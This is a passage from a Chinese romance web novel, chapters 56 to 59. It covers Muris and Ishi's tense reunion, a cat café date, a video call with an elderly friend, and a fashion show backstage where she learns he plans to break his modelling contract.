实际上她没必要通过这种方式表露衷心,没有外人在的话,她连狡辩都懒得狡辩,用脚趾头想想好了,一个走在路上一直在漏气的气球舍得在公园逗留吗?可惜人总有为自己的弱点据理力争的倾向和冲动。 吕成应命汇报,口音对这片土地爱得深沉,表达却精妙。自相识以来,穆里斯身边从未出现过伴侣,要么孤身而行,要么和他们待在一起。出门被要过微信,她打手语当哑巴,穿帮了就竖中指,不过这仅限于面相不讨喜、毫无敬重可言的类型,大多时候她清冷待人,不露锋芒,沉浸在自己的世界里。 这份报告如果结束在这里,没有后面的画蛇添足,那绝对是物超所值的。 “她给我们讲过前任的经历,一个学长,一个学妹,但我们从没听说过你。” 穆里斯诧异地瞪大眼睛。这能放在一起比较吗,朋友?那天是怎样的情形不交代吗?这么掐头去尾难道说你也会蒙太奇? 吕成和网恋对象面基后一个月不到就分手了,穆里斯和阿吉陪他上清吧喝酒,一个人人喊打双性恋和一个离异带娃单身妈妈为了开导他分享各自的情感失败体验,他还有什么理由不振作起来。每个人都会遇上亲密关系的坎坷,穆里斯自称坎坷是性。冷淡,阿吉自称容易被骗,吕成被诊断为中央空调。 那天如此发人深省的肺腑之言怎么能拿来比较呢! 穆里斯用余光试探伊实的脸色,忽然间觉得脚麻了于是往外挪了挪,咬着筷子作腹语:“我不会给你发年终奖了。” 天真烂漫的吕成没有反应过来:“AhWhy”语言系统也没反应过来。 逆乎预料伊实只说了句“知道了”,甚至出现举杯感谢对面二人分享的诡异局面。穆里斯的血小板似乎活跃过头了,脑子都有点凝固。 后续的谈话可以在每个跨国交友聊天软件上见到,介绍国家和故乡,针对刻板印象引出的文化交流。伊实算上等货,他有过几年中国游历和与生俱来的冷笑话才能,一些微小的代沟由穆里斯翻译,晚餐的最后阿吉和吕成是带着满脸笑容离开的。 一经友人的慰问穆里斯气色好了许多,快忘了身后一只隐忍的巨兽在蠢蠢欲动。保险锁一扣上,伊实便从穆里斯的背后拥住了她。 “嘿,你做什么!”穆里斯缩起肩膀。 “你没跟他们提起我。”他的声音闷闷的。 穆里斯挣扎两下便不动了,“你是小孩子吗?别开玩笑了,你我都是半只脚入土的人。” 伊实往前倒,左脚撑在她的双腿之间,前胸挤着她的后背,紧紧压在门上。 “打算视其为泡沫蒸发掉还是耻于承认你我曾经相爱?”伊实垂着头,环绕在她腰间的手不断绞紧,“任何人都比我了解你,这让我很烦躁。为什么他们可以拥有姓名,我却默默无闻?你躲着我,以及沉默的瞬间,什么意思?抹杀了我吗?” 沉重的盘问让穆里斯的呼吸变得同样沉重,贴在门上的耳朵还能听见外边走廊上的脚步声。 “你很在意这个吗?”她再次尝试撑起来,却还是被挤在门上,不知不觉她的脚后跟已经离地很远了,“首先,我并不觉得那段经历值得宣扬,我是去寻死的,你理解吗?其次!”她惊呼出声,双脚悬空,膝盖撞在冰凉的门上,倾斜地坐在一条坚硬的大腿上,仅靠衣料难以言说的摩擦力支撑着,如琥珀里的甲虫。 “其次”她缓了口气,“讲不清那到底,到底是不是爱,没准是别的,说出来叫人笑——啊!” 伊实一口咬上她的脖子。领悟出错的东西就该一把火烧掉,心碎不如热烈的火焰来的刺激。 “停下!你停下!”穆里斯冒出一头汗。 伊实松口,不断磨蹭她的耳畔,“你别把自己也给骗了,胆小猫。” 谎言是不分对象的,这没有错,谎言的终点线正是起点线,最后一名受骗者一定是撒谎者。 第56章 第56章你没偷偷穿情。趣内衣在…… 玫瑰花尚且艳红,装迟钝只会是徒劳,甚至眼巴巴地看着自尊消失,故而伪装绝非上上之策。 穆里斯转身推开伊实,手掌抵在柔软的胸口,她沉吟片刻,才说道:“我会在下个礼拜日前给你打电话。” 伊实微微紧绷肌肉,吃定她会为那对硬化的玩意儿产生人之常情,说:“万一我又被抛弃了该如何是好?毕竟你拉黑过我一次。” 穆里斯一瞬间耳根冒火,掠开眼前这个筋肉怪物,“如果你对约会对象没有最基本的信任,那干脆不要实施。” “这年头赚点保证金可真难,比如甜言蜜语什么的。”伊实亦步亦趋地缠绕在她的步伐周围,“拜托,你就不能挂在我身上,像一条吊坠?” 穆里斯竖起食指立在唇中:“没有买卖,就没有杀害。” 虽说有回避的前科在手,评判她的承诺不具有法律效力是无可厚非的事,但她动起真格时,还是希望在场的观众正襟危坐,接受她布置好的情节。 为了有时间逃跑而撒点小谎,她敢做敢当,欣然接受撒谎精的头衔。惨的是明明没撒谎却被计较谎话连篇,莫名其妙地就要对天差地别的想象负责,这她不认 。不认的涵义,就是为最糟糕的结果未雨绸缪,等风雨过去,灯塔该亮的亮,该熄灭的,熄灭。 产品交付的那天穆里斯正好痊愈,先一步迎来年货大扫荡的纸巾总算有口喘息的机会,左边鼻孔塞完右边鼻孔塞的日子总算终结,小病怡情大病伤身,感冒到了相看两厌的阶段,自然就好了,不像那什么,不提也罢。 : 伊实每天晚上总要给穆里斯打个电话,大部分时间他在喝酒,一会儿询问她累不累,需不需要看看他的照片缓解疲劳,一会儿说想她了,等电话等到海枯石烂。还有一天他通过电话自渎被另一边的穆里斯察觉,又被拉黑了一次。 模样很可悲他知道,猎场上第一枪就能射中一头壮年雄性麋鹿要害的伊实梅尔布朗断然不会沦落到只能靠女人的声音打炮的境地,但他并不认为扼杀体内病态的细胞就能解决一切回到从前,仓促了事是懦夫行当。首先,人的记忆不允许他劫后余生还能笑得出来,浑身刺痒幻想不断的日子他不想经历第二遍。其次,穆里斯身上有他母亲所说的“离别的善意”,他要告诉她那是错的。 约会那天穆里斯已经化好了妆,却在最后做发型的时候卸得一干二净。可怜的热情破灭只需要几分钟,意义的蜡烛烧完了就只剩下无意义,回味起来还有点可笑。她卷起所有头发盘成一团下垂的丸子,和她暗自涌动没一会儿就变得懒散萎靡的心情一样。说实话,人越老越看重面子,都是人淡如菊的盲目追求害的。 伊实在公寓楼下等待,靠在车头抽烟。这男人陋习不少,从不见他害臊,穆里斯心想,这样一比她似乎不必着急立牌坊。 “你不冷吗?昨夜气温骤降,刮了很大的风。”说着,穆里斯两鬓的碎发在随风飘舞。 伊实替她拉开车门,“你在想什么,我可是有几年时间成天和暴风雪为伍。” “不一样。”穆里斯坐进温暖的车座,抹掉围巾表面的水汽,“这比暴风雪还冷,asuddendrop,是一种偷袭。” 伊实没有立马启动车子,而是注意到她的眼角:“这里为什么那么红?” 搓完眼妆就会这样,穆里斯不想暴露,张口就来:“要和你约会,太激动了,哭了一场。” “你没偷偷穿情。趣内衣在里面吧?不然这番话很假。” 穆里斯被逗笑:“还没到时候,先生。”她系上安全带,“洗脸的时候下重手了而已。出发吧,小可爱们要等不及了。” 小可爱们指的是猫舍里的员工,它们的住所是一间四季恒温,空气中散发一股木质清香的屋子,猫舍的掌管者莉莉身上便是这种味道,她不得不在此下功夫,否则满天飘摇的猫毛和一排排猫砂盆会给客流量造成巨大的打击。 穆里斯存了五斤猫粮在店里,所以她的身份尊贵,员工视其为钻石王老五。 赢得小动物的敬爱并不能让她在人类社会多一分脸面,却可以极大地满足她作为哺乳类母性动物被亲近被簇拥的天然需求。 穆里斯像介绍孩子一般给伊实介绍每只猫的特征和喜好,她能记住那么多他记不住的名字,仿佛她是猫之领袖,或者说,守护灵——严格制止他穿脏鞋子和携带满身烟味进门。 “转过去。”穆里斯指挥道,用手里的酒精喷壶将他从头喷到脚,“天老爷,你的面积可真大。” 伊实心里隐隐有了预期,今天的约会他可能不是主角,但和一群芝麻大的猫争风吃醋,显得他十分小肚鸡肠,且没实力。 “穆里斯。”他喊她,双臂张开让她喷个全面。 “嗯?” “没什么。” 起码喊这一只,这一只会应。 猫舍管理人莉莉见到穆里斯很是欣喜,举起怀里橘猫的爪子和她打招呼,下一秒猫和人同时震惊她身后的老外,不曾想小小猫舍有朝一日能迎来海外贸易。 “我朋友,一起来玩。”穆里斯解释。 “哦哦。”莉莉开朗地哈哈笑,“你们上楼玩儿吧,楼上没人,就那几只懒货。” 伊实双手插兜跟在穆里斯后面,脚边一只猫紧追不舍地扒拉他的鞋套。他扯扯穆里斯的衣袖,说:“它发情了。” 穆里斯头也没回,反手抓住他的手腕,“你才发情了呢。” 懒货一号波斯猫,被前主人抛弃在沙县小吃餐馆,辗转了两条街才找到这份工作,属于中途下海。懒货二号蓝毛英短猫,毛发密集脾气好,来路不明也是中途下海。懒货三号奶牛猫,标准中分,自幼下海,耐力好,被客人拍十分钟屁。股不知餍足。懒货四号 伊实百无聊赖地甩着逗猫棒,听穆里斯一边揉猫一边讲述它们的生平。她不知道当年他捡回她了之后,也是这样喜爱她的。 “那只呢?”伊实扬了扬下巴,看向猫爬架最顶上的一只银烟色缅因猫。 “它叫四月,自封看门猫,老是威风凛凛地待在上面。”穆里斯对着四月晃了晃手中的猫条,“它不近人,不嘴馋,就这么盯着你,盯着你过来,四月,过来!” 她拍拍手,拿玩具,可四月仍旧无动于衷。 伊实见状站起身,大手一抓拎起猫的后颈。穆里斯慌张地啊了一声,担心猫会对陌生人应激,万一离它上一次剪指甲过去很久了呢。 事实证明她的担心纯属多余,且不提物种压制下四月没有还手的余地,更何况它乖巧得很,除了睁着圆溜溜的一双眼睛没别的反应。伊实把猫放在穆里斯的怀里,他一松手,猫就跳了出去。 “说了,他不近人。”穆里斯有些小失落,她还是看着四月出生的呢,那时候它眼睛都睁不开,靠鼻子爬行,第一口奶也是她喂的,怎么长大了就不亲人了。到底是它天性使然,还是她做错了什么,无从知晓。 伊实再次揪住四月的两只腿,举得高高的,使得猫的身体像瀑布一样流下来。他新奇一笑:“猫没有骨头。” “你不要强迫它。”虽说没有发生人猫大战的场面,但穆里斯仍旧悬着一颗心,谁让四月目不转睛的注视太叫人怜惜。 她挪过去解救它,到了手上它又走开,伊实又抓它回来,它又盯着她,她 “不救你了。”穆里斯朝四月拱鼻子,恶言恶语:“别用那种眼神看我。” 还以为那是深情和眷恋的凝视,她未免太自作多情。 四月趴在伊实的大腿上,揣着手,铜色的瞳孔压下半截,视线停留的方向,有它自己的道理。 “伙计,你是男的女的?”伊实毫无边界感,瞥了眼四月的后。庭,“Holy上帝保佑你。” 许是将心比心地替猫着想,伊实没再摆弄它,有一下没一下地梳理它头顶的毛。出于某种偶然,他脑海中浮现一幅凄哀的前景。 “它不是不亲近你。”他说,引起穆里斯的注意,“是因为你身上有别的猫的味道,它不喜欢。” “你怎么知道?”穆里斯歪过脸闻了闻衣领,“味道没有很重。” “用得着闻吗?看看你对它们的殷勤样。”伊实轻挑眼尾,在说一件显而易见的真相。 穆里斯无辜:“我只是在喂食,我也会给四月喂。” “动物都有领地意识,在它眼里你是领地的一部分,然而你背叛了它。猫除了需要你填饱它的肚子,还需要你填饱它被爱抚的欲。望。你现在去洗干净手,蹭它抱它半个钟,在它耳边发个小誓言,它就原谅你了。当然,誓言要真诚。”伊实说得理所当然。 “不是你瞎猜的吧?借四月的身份侃侃而谈。我记得你只养过一条狗,完全不同类型的宠物。” “打赌吗?” “不赌,谁知道你会下什么注。” “赌一次有问必答,无酒精,无借口。” “我没那么容易上当,你会抓住我的把柄然后让我当你的刽子手。”穆里斯眼神躲闪,要她直面 问题不如给她来两刀。“论资质,我比你更了解四月,性格使然的东西,岂是你一眼就能看穿的。若不是你强迫它,它不一定会承认你的膝盖比猫爬架舒服。” 伊实嘴角含笑向下一撇,“我可是正在挤它的肉垫。” “你等着。” 第57章 第57章你是那种人吗,为一句情…… 四月耳廓里的毛很长,额头处的虎纹相当对称,脖领下的毛发微微蜷曲,呼吸起伏慢而重,像一股浪压在伊实的双膝上。它在春天出生,并且即将迎来生命中的第一个冬天。出于对温暖的本能渴求,冬天的变数不会比春天少。 有只猫从猫砂盆走出来甩甩腿,跳上长凳,快要踩到穆里斯的围巾,伊实眼疾手快地夺过来,避免它沦落成四脚动物的擦脚布。一缕梦寐以求的气味飘进四月的嗅觉中,它提起爪子勾下一根毛线,往后一发不可收拾。 目击证人兼见义勇为英雄伊实制止了这场祸水,同时出谋划策:“等她回来,几声猫叫就当赔罪了,明白?” 猫不明白,一味勾线。 穆里斯擦干净手,做完除毛,纳闷这样的仪式感怎样才能显得不多余,还是说求知者理应踏满三千台阶,方有所得。在任何小事上她都有临阵脱逃的可能性,唯恐千丝万缕缠得她不得好死。 再上楼时,她看见一人一猫正玩弄着她的毛线围巾。她冷脸上前,用眼神无声地质问。 伊实抖了抖腿,指望与猫的默契:“说啊,我刚教你了,说啊。” “”猫不明白,一味勾线。 伊实抬头仰视:“它的意思是在它的律师来之前它不会说任何话。” 穆里斯拿开围巾,包括被四月勾去的线头,皱着眉头控诉:“如果吃进肚子里,它会生病。” 她尝试抱起四月,猫起初任人摆弄,看清来人后,前脚蹬后脚往外跳,被一双大手堵住了去路。 “我说什么来着,它真的不喜欢被人抱。”穆里斯神色黯淡下来,欲放手还猫自由,却同样被那双大手堵住了去路。 伊实一手搂过穆里斯的后腰,一手按住四月,叠成一块夹心饼干,这其中没什么厨艺技巧,要说成三明治也行。 “不喜欢的话,它会挠花你的脸,再躲到角落里。”他舒服地挠了挠猫下巴,斜眼慵懒地瞥向穆里斯,说:“它做不到冷淡到底,相信吗?现在,拍拍它的屁股,怎么样?” 那地方相当于猫的性。感带,穆里斯不擅长走强制爱路线,面露迟疑:“就算是猫,也不能违背它的意愿吧。” “它蒙在鼓里,难道你也蒙在鼓里?”伊实用力抓了一下穆里斯的下臀,惹出一声低呼和颤栗。 “摸它。”他指挥道。 “”要不说这人怎么能对自己的理论坚信不疑呢,原来违背意愿的另有其人。还是说,蒙在鼓里的另有其人? 穆里斯缓慢谨慎地给四月顺毛,拍屁股,用中文和猫掰扯眼前的男人自成一派的硬汉文化。 “委屈不?委屈也没用,我俩一个都走不了。谁是祖宗?他是祖宗,一根胡渣就能戳死我俩。君子动口不动手,他是小人,逼迫我也成了小人。你要是不喜欢,就踹我好了,抓我两下没什么大不了,我打过一次狂犬疫苗,算有经验。你要是喜欢嗯?你喜欢吗?小四月,难道你喜欢吗?”她说着说着,不自觉地捏起了娃娃音。 四月张嘴接着她的音调喵叫了一声,胡须轻飘飘地划过她的手背,穆里斯瞬间喜上眉梢,手法更加殷勤,甘愿为奴。 “哎呀——”她的声音飘得老高。 伊实看她的眼神能化出水来,“既然都用上了babyvoice,是时候承认我认为的没错了吧?” 穆里斯嘴角一僵,不做掉面子的事,避开他的目光,自顾自地解围:“猫也会妥协,妥协不代表诚服,它短时间晕头转向了而已。你看看,此刻的我实际上和毒蛇没什么两样。”她继续逗猫,若不是有只手还座落于她的臀。部,她或许会抱着猫满地跑。 这抢来的亲近她一方面不信任,另一方面又格外珍惜。现在有人过来指着她的鼻子说她用自己的痛苦解读猫和桥头那位解读鱼之乐的家伙是一丘之貉,她也无从反驳。 穆里斯把胳膊抬得更高,用耳朵蹭猫的脑袋。四月眯起眼睛,一脸流连忘返。 “好了。”伊实出手打破这幅温馨的画面,从她怀里拎起猫,放到一边。 “诶诶诶——”穆里斯不可置信,“你干什么?” “你看着呗。”伊实环住她的腿丝毫没有松手的意思,神态自若,和搞街头艺术的魔术师学了一手似的。 四月四脚着地后甩了甩头,不满毛被扯得乱七八糟,坐下来舔毛,整理仪容仪表,舔到一半用一双水灵灵的眼睛看向穆里斯,如果不是眉目传情,那么没有别的词汇更贴切它此举的用意了。 它竖着尾巴走过来,摩拳擦掌,跳上伊实的膝盖,然后举起双手扒住穆里斯的羊绒衫上衣,叫声仿佛在渴求着:“摸我,摸我。” 破羊水的一刻是新生命的首次搁浅,其次是身旁还躺着好几条一样的生命。“之一”意味着平平无奇和流离失所,意味着喝不到的奶水和不暖和的被窝,谁给了它奶水和温暖,谁就是母亲。 猫不懂什么是爱被瓜分,猫只想找个家。 穆里斯心花怒放,顾不得什么面子里子,急匆匆地一股脑儿给出承诺:“好乖好乖,四月好乖,我以后来第一个摸你好不好?你以后也要这样欢迎我好不好?” “Caseclosed.”伊实用下巴过分地挤进她的掌心,争夺存在感,“你以后不能再背叛它了,有这个觉悟吗?” 穆里斯一愣,他的话似乎有进一步推论,她开始怀疑自己是否真的无意中伤害了一只猫的心灵,在没有达成共识之前,拥抱是否是一种自私。 她张了张嘴,发现这不是仅靠语言就能交代个水落石出的难题,遂转移话题:“所以,你的问题在哪里?我是个讲义气的人。” 伊实半天不回答只牢牢地将眼神黏在她的脸上,过了一会,他故作高深莫测地说:“穆里斯,你凑近点,就像对它那样。” 穆里斯低下头,将耳朵凑过去。 “你爱我吗?” 他强烈地注视着她。磁性的耳语像从深幽的洞穴中传来,整个森林都陷入冬眠的季节里一声声和大地共振的心跳,逐渐膨胀。 穆里斯心一紧,要知道,她的阴谋堪堪展开了第一步,竟然已经变得如此步履维艰。 爱?当然,爱。 否则我为何不靠怒吼靠诅咒求上天让我们永生永世不再相见?否则我为何动情至深时想着天崩地裂也在所不惜?说什么爱啊,天蒙蒙亮的时刻,梦和现实的交汇处全是你的身影,假以小小的甜头,才够活啊。 很不幸,同时又很庆幸的是,她会毁了这一切,这是她的习性。等伊实慢慢认识到这一点,她的皮便蜕得差不多了。 穆里斯直起背,揣着明白装糊涂,反问:“我们不是正在约会吗?亲爱的。晚上去看电影吗,电影?” “我就知道。”伊实左右摇晃双腿,怀里的人和猫也跟着摇晃,“正面回答。” “你是那种人吗,为一句情话赴汤蹈火的傻瓜?”穆里斯呛道。 “JUSTforlovewords?”伊实有些生气,穆里斯身上的两团大肌肉群因此遭殃。 她痛呼,那力度早就脱离调。情的程度了,他根本是在刑罚。 “既然只是一句情话,说给我听又能怎样。”尤其知晓她抱着猫不舍得放手,毫无招架的余地,任人揉捏。 “你能不能……”穆里斯腿也抬不起来,即便如此,对毛茸茸的四月仍旧宝贝得紧。 “好了好了,我说。”她投降。 伊实松手,期待并等候着。 “但不是现在。”投降,是不可能投降的。穆里斯一个大后撤步逃离魔爪,在离他远远的地方盘腿坐 下,“以后再回答你,规矩里没说这样不允许。除此之外,你到底看不看电影?我是认真的,有一部我很想看。” “以后是多久?”伊实双肘撑在膝盖上,“我要的是你亲口告诉我。” “当然了,我是个讲义气的人。” 伊实深深地凝视她好一会儿,到底没把脑子里的想法翻涌出来。 就地取材好了,穆里斯完全是一只没有断奶的幼猫,警惕心在她尚未从依赖中完全解脱之前出现了,自然而然地成了她生活里唯一仰仗的东西,是件极其可悲可恨的事。她以为自己把自己保护得很好,实则漏洞百出,他能清楚地看见那些脆弱,然而当事人并不想全盘交代出去,躲在勉强的笑容背后严防死守。 既然是想象,粗鲁点也没关系吧。他想抱她,面对面,掐她的腰吻得她喘不过气,意识迷离的时候她通常不会思考那么多,做起爱来她会哭,哭的时候她通常展现出十全十美的诚实,一遍遍喊他的名字,混杂着脏话和铺天盖地的委屈。以及,床是唯一一个他有办法让她无法逃跑的地方。 所以,穆里斯,你会让我等多久。 灼热的目光使穆里斯越来越不自在,她抬眸瞪回去,尽管没什么威慑力,“别傻愣着,你坐在那一动不动,十分怪胎。” 伊实摊摊手,从兜里拿出手机,给她拍照,一拍就是几十张,咔嚓声比直升飞机的螺旋桨还快,穆里斯吵不过,偷偷竖中指。 “那么喜欢猫,为什么不把它带回家?”伊实随口问,欣赏着相册里的杰作,即便十有八九是一团浆糊。 “不。”穆里斯回应得十分果断,“那太残忍了。”她折起小腿,半边脸搁在膝盖上,看着四月来回蹭她垂下来的一只手,嘴里反复喃喃:“那太残忍了。” 她用指尖蘸了一小块猫条,投机取巧地得到了四月的舔舐,猫舌头上的倒刺一下一下剐她的指纹。 “我不会照顾猫,准确地说,照顾不好,猫有九条命就算不怕死也怕倒霉,如果它看见主人某一天突然一蹶不振,像一滩烂泥一样躺在床上不吃不喝,某一天又突然兴致大发,日夜不睡胡言乱语,肯定会对人类失望的吧。我很喜欢那又怎样呢?过几天我又不喜欢了,不过是猫而已,我或许会因为满地的猫毛、臭烘烘的猫屎和被打碎的马克杯指责它,而它只不过是正常地吃喝拉撒睡居然要面对这种无妄之灾,肯定会对人类失望的吧。一旦我对猫产生厌烦的情绪,哪怕这种情绪来得莫名其妙,无辜的猫只是它无辜的载体,一旦产生,我就会后悔我当初做的选择。猫很可爱,但我不是。” 这一长段由不轻不重的单词构成的剖白,起码哄睡着了在场两只小猫,毕竟猫听不懂,她的声音和水流声、树叶婆娑声、植物生根发芽声、石子落水声、柴火燃烧声完美地融为一体。 第58章 第58章不管怎么说,这里才是她…… 宠物俨然超越动物的范畴而成为月球之于地球那样不可分割的人类文明产物,不管它们在主观唯心主义下表征出怎样新的意义,生命的价值没有任何改变,没有任何其他生命可以对其指手画脚。 强劲的风吹来了更深层次的冷空气,给擅长撒谎的隐喻家予以一个瑟瑟发抖的警告。穆里斯把围巾留在了猫窝,转而解开头绳将头发堆在脖子两侧保暖,她认为这是明智的,她总能找到解决问题的办法。 晚餐过后他们的确去看了电影,一部当下火热的北美动作片,其前作的历史可以追溯到这个世纪的开端。穆里斯看得津津有味,即便她一部前作都没看过,顶多能哼几句脍炙人口的主题曲,还是她在理发店学来的。 伊实对她挑的电影没意见,有猫腻的是靠角落的座位让他在两个小时里总想着什么时候她会上来打个啵之类的,然而这个情节他到最后都没等到,才反应过来入场前她的笑可能是一种恶趣味。 “好了,我知道你以玩弄我为乐。”伊实说。 穆里斯的手被牢牢牵着,她平静地看向车窗外,脸上没有被指控的面红耳赤:“有一点儿,但你是谁啊,我奈何不了你。” “为什么不呢,是或否的答案不都在你手上吗?”他捏了捏她手心手背的肉。 穆里斯侧目睨了他一眼,“少来了,下。流司机。” 伊实闷笑。今日的约会还算舒畅,一些操之过急的念头他都忍下了,足以让他在布鲁克面前竖中指表示“他妈的老子根本不需要看心理医生更不需要第二个罗弗敦小岛来抚慰情伤以及这是正常需求不是他妈的无可救药的执念”。 “晚安,穆里斯。” “晚安。” 告别在夜色里,即使并非夜晚,告别也依旧存在。 临近年关,躁动如蝗虫一般侵袭人群,寒冷的冬天也按捺不住,这很大一部分源自于人们对结尾的期盼,对句号的迫不及待,糟粕似洪水猛兽赶着人变老。 MS工作室多出好几双黑眼圈,包括穆里斯,她忙于处理账务和各种项目反馈,阿拉伯数字和简体汉字被磨得越发锋利,她的眼睛时常酸痛。 相较之下有着更权威的工作单位的伊实反而闲来无事,几周间收到的邀约屈指可数,还没有他和穆里斯一起去超市买菜的次数多。他是这座城市里真正的自由人。 穆里斯不免起疑心,据她所知,不久前他的周程表还是满满当当的,按理说他应该神龙见首不见尾才对,怎么有大把闲心谈情说爱,到底是他不学无术还是她勾引君王从此不早朝。若是前者,她管不着,若是后者,她可要躲得远远的以免黑锅砸在她头上。 她本意以过犹不及之策叫伊实感到腻烦,这几周便敞开了玩,证明她比穿花衣的木偶人要难伺候得多。有一天她毫无先兆地发脾气对伊实说了很重的话,叫他有力气没处使就去农田里耕地,动不动就掐她考虑过她的感受吗?虽然在此之前是她自己叫嚷着好冷抱紧一点。以及,她拒绝性。爱,但有时候故意坐在伊实的胯上什么都不说。还有,她视工作为苦口良药,无意中未接好几个电话却没有打回去解释诸如此类,伊实竟然还没一脚踹了她。 “你要庆幸现在是和平年代,不然我定送你去打仗。”此时穆里斯正和伊实一起洗碗中。 她深知温水煮青蛙的危害,不可亵玩焉,过一日她便加一日的提心吊胆。 “为艺术献身也是一样的,宝贝。”伊实说,为了打消她的疑虑,提议道:“后天我在GE大厦有场走秀,你要来看吗?” 穆里斯没说去也没说不去,而是问起大多人普遍敏感的问题:“你一场秀多少钱?” “看他们给多少,怎么了?你终于想通了。” “我不做那种交易。” 公司给国际模特结算工资时用的是美金,穆里斯得知伊实最招人喜欢的时期一场秀能有九千刀,她惊掉下巴,为一开始幻想他的穷困潦倒感到抱歉。 “其实你不爱上台抛头露面,对吧?为什么偏偏选择当模特?”她问。 伊实擦干手,说:“想要被你看见啊。” “哦。”穆里斯心怦意乱地钻进下方柜门里检查水管漏水了没有。没有。 这时布鲁克打视频电话来,她被拉过去打招呼。 “孩子!安好?!”他的声音仍旧苍老和精神并存,让人觉得他一辈子也死不了,天塌下来有他的两条腿顶着。 “安好。”穆里斯答。第二回见面她放开了许多,不像几周前,面对布鲁克时她的表情好似遇见叫不出辈分的亲戚那样苦涩。 “你们那下雪了吗?”布鲁克问。 “没有,这里不常下雪。”穆里斯认真回答长辈的问题。 “是吗,真羡慕。罗弗敦昨夜刮了一阵巨大的暴风雪,把我埋在雪地里的罐头全给吃了。” “下次还是把它们放冰箱吧,布鲁克。” “哈哈哈……那真的是场惹人厌的暴风雪,难道它不知晓,五天后就是圣诞节吗?”布鲁克从镜头外取了一杯热茶,看样子坐在窗边,腿上盖着厚厚的亚麻毯子。 “圣诞节,对啊,快到圣诞节了。”穆里斯脑子里浮现开枝散叶进行时的云杉树。 伊实左手搭在她的肩膀上,想起 好笑的事,对布鲁克说:“去年瓦萨里奇扮演圣诞老人跳桑巴,受不了了,到底是谁的主意。” “他为自己的孙子孙女演练了很久,你还要笑到猴年马月。”说是这样说,布鲁克的嘴角不比伊实稳重。 前情回顾其乐融融且素质不详,随后出现几秒钟的沉默,布鲁克双手捧着茶杯,填补这份由时差导致的空白:“你们几时回来,赶在圣诞节之前,我让查理去机场接你们。” 接下来出现的停顿不能再用时差来解释了,称为犹豫更为恰当。穆里斯半起身,抢在伊实前面说道:“我很遗憾我没去办签证,下次有机会一定去——你们聊,我去倒垃圾。” 她像一个被格式化的扫地机器人缓缓离开,直到关门声透过手机传到大洋彼岸,两位男士才重新开启对话。 “签证……” “她没那个打算。” “但是她说有机会的话……” “中国人的惯用技巧。” “怎么会这样呢,在我的印象里她没什么不敢做的。” “不管怎么说,这里才是她的家。” “伊实,那你呢?” 穆里斯倒完垃圾在24H便利店晃悠了两圈,提两罐啤酒回去,他们已经挂了电话。 她装作若无其事地把酒递给伊实,问:“你后天的走秀我该怎么进去?” 伊实单手开罐,冲她挑眉:“走后门。” 起初穆里斯认为这又是什么dirty双关语,到了现场才意识到是真的后门,她直接被安排进了后台,以助理的身份。 三百六十行行行出状元,像她这样毫无头绪的金榜题名都不一定能够得上,只好装模作样地给尊贵的模特调整着装。 穆里斯瞥了眼胸前的临时工作挂牌,悄声问:“什么时候轮到你?我从哪儿能看到你的正面?” “跟着李,他会带你去。另外,你尽管照相,不要吝啬。”伊实的眉毛被化成了棕褐色,五官更显浓韵。 “收到。”穆里斯回答,越看越中意他的长相,老了也是秀色可餐的,膝下育有一儿一女但仍保持身材和发型随时准备出。轨的daddystyle。五年前没觉得他身上有这种魅力,果然人靠衣装马靠鞍,专业团队救活了一名被风雪吹出眉头半永久川字纹的苦命北极熊。 开场后,穆里斯坐在经纪人李的旁边,几句简单的客套话后便没有更多的交流。第六感使穆里斯觉得有一丝古怪还带点忧郁的气息在其中,但她没有深究。 伊实第一轮走场时,假公济私地把正脸朝自己人那边,给中央镜头留以侧颜。穆里斯正要举起手机,听见耳边一声叹息:“又来了。” “什么?”穆里斯看向李,错过了台上最好拍的定格姿势。 李摇摇头:“没什么,你拍吧。” 若说前一刻李的古怪和忧郁可以归结于个人私事,那么此时的游离则必须和伊实有关。 穆里斯表面上欣赏着舞台的秀,一边追问,“又来了是什么意思呢?他出事儿了吗?” 李看了看她,绝非即将要互诉衷肠那类的看,更像是,“你也脱不了干系”的看,即便他的回答依旧是模棱两可的:“还好。” 穆里斯抿了抿嘴,场内和模特台步保持一致的鼓点打得她七上八下的。她也有点儿烦汉语体系里的墨迹了,于是她以身作则,直接问道:“他是不是要被封杀了?你看他的眼神好像很惋惜。” “……”李不敢妄自认为这是她的幽默感,不然也太地狱了。既然她都说到这份上了,他也不愁没地方倾诉。 “不是封杀,封杀还好点,他没告诉你吗?他想直接解约。” 穆里斯愣住:“没告诉我啊。” “哦,我以为你知道。” “不是……”穆里斯反应了一下,“为什么要解约?” “我管不了他,你可以问本人,可能——他想把时间更多的花在你身上。” “也不至于解约吧!”穆里斯眼前闪过一只只冲动的魔鬼,“他签了几年?” “五年,但他一年都没干满。” “违约金多少?” “三百万左右。” 穆里斯暗自掂量自己的几张银行卡,违约金的一半都凑不到,做不成赎身英雄。 她正色,语重心长地说:“你们千万别放过他。” 第59章 第59章竟因为被某人当成了全世…… 忧心忡忡将穆里斯一直裹挟到走秀结束,她不想往自己脸上贴金,因为接下去她免不了要自我道德绑架。事实上她大可以回归市侩小人的形象,对此事不关己高高挂起,在走进模特更衣室前,她也的确做了这样的决定。 然而目光所触伊实肩膀上的陈年烧伤疤痕,她脑袋“轰”的一声被雷砸中,似乎有什么刻苦铭心的序言被她狠狠地忽略了,以至于她自以为是的读错了整本书。 “伊实梅尔,我必须问你个问题。”穆里斯站在门边。 伊实正要套上短袖,听闻穆里斯严肃的语气,便停下来先等她说完。 “你怎么得到这份工作的?”她问。 “事到如今……”伊实顿了顿,反问:“我方才表演得不够好?” 穆里斯走上前,抚摸他肩头那块疤,说:“不,我是说,就选拔层面来说,你看你,漏洞百出,身上有不少伤疤,年纪也偏老,资历更是空白,你的经纪人选择你,怎么看都像一场开诚布公的豪赌。” 伊实顺着她的视线低头,又轻飘飘地抬眸,说:“敢情我忙活了半天,你就得出这么个审判结果,好歹送朵花啊,夫人。” “本来是那样打算的。” “为什么改变了主意?” “从你经纪人那挖掘到了劲爆的消息。” “什么?” 穆里斯退后一步,双手抱胸盯着他,“听说你要解约。” 伊实回想,半吞半吐地承认了,模糊的表情实在有损当事人的地位,仿佛深掘三千里才能找出那段记忆。 